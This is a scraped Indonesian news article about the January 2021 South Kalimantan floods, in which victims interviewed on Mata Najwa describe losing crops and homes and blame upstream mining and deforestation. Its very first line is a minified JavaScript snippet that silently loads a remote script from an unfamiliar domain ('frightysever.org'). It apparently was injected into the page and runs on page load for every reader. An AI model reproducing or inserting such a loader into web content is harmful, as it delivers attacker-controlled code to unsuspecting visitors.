(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Kondisi banjir Kalsel menjadi perhatian nasional dan dunia. Di program acara Mata Najwa yang disiarkan TRANS 7, sejumlah korban banjir menuturkan penderitaan yang mereka alami kepada Najwa Shihab, Rabu (20/1/2021) malam.
Seperti dituturkan oleh Nurjanah, korban banjir yang saat ini mengungsi di tempat saudaranya di daerah Sungai Lulut, Kecamatan Banjarmasin Timur. Ia mengatakan, saat ini tinggal bersama 7 KK dalam satu rumah.
“Sebelumnya tinggal bersama anak berdua. Tapi rumah terendam sampai di atas lutut. Tingginya air yang mencapai 1 meter, kami takut kalau bertahan, karena daerah rawa, takut ular,” kata Nurjanah yang kesehariannya menjadi petani dan pedagang di pasar ini.
Ia mengatakan, di tempat mengungsi ia mengandalkan hidup dari swadaya dan bantuan yang diberikan relawan. Apalagi, saat ini kebutuhan pokok sulit dijangkau karena pasar masih banyak yang terendam.
“Sayur susah, bahkan untuk makan sayur seperti kangkung atau genjer kita harus menyelam kedalaman banjir. Karena tak ada yang jual sayur akibat banjir,” terangnya.
Nurjanah menceritakan, bahwa banjir juga menghancurkan semua benih padi yang sebelumnya ditanam. Sebab ketinggian air di lahan pertanian mencapai setinggi leher orang dewasa. “Mati semua, sudah tidak bisa diharapkan lagi,” ungkapnya.
Sebagai petani lokal yang mengharapkan hasil penan 1 kali dalam setahun, Nurjanah juga menyambung hidup dengan berjualan di pasar. Keuntungan yang didapatkan setiap hari sekitar Rp30-50 ribu.
Saat Najwa Shihab mengatakan apakah pernah mengalami banjir sebesar ini sebelumnya, Nurjanah mengatakan tidak pernah.
“Sejak saya usia 5 tahun tidak pernah alami banjir separah ini,” katanya.
Najwa Shihab pun sempat menanyakan apakah Nurjanah tahu penyebab banjir besar yang terjadi? Ia menjawab, bahwa banjir disebabkan tingginya curah hujan. Apalagi Banjarmasin sebagai daerah dataran rendah yang menyebabkan air dari kawasan hulu turun.
“Itu dari daerah hulu, selain faktor alam yang gak terjaga lagi, imbasnya ya ke Banjarmasin. Yang jelas daerah hulu banyak tambang, kalau mau nambang kan banyak pohon ditebang. Untuk tahan air perlu pohon besar, sekarang gak ada yang menahan lagi,” tuturnya.
Hal sama juga disampaikan Ahmad, pengungsi asal Desa Bincau, Kabupaten Banjar, yang saat ini juga mengungsi di rumah warga. Ia mengatakan, bahwa sejak dari lahir, tak pernah mengalami banjir separah ini.
“Kalau soal penyebab, ya pertama hujan debit air meningkat akibat hujan. Selain itu, sebagaimana disampaikan, hutan tadah hujan katanya berkurang,” katanya.(kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.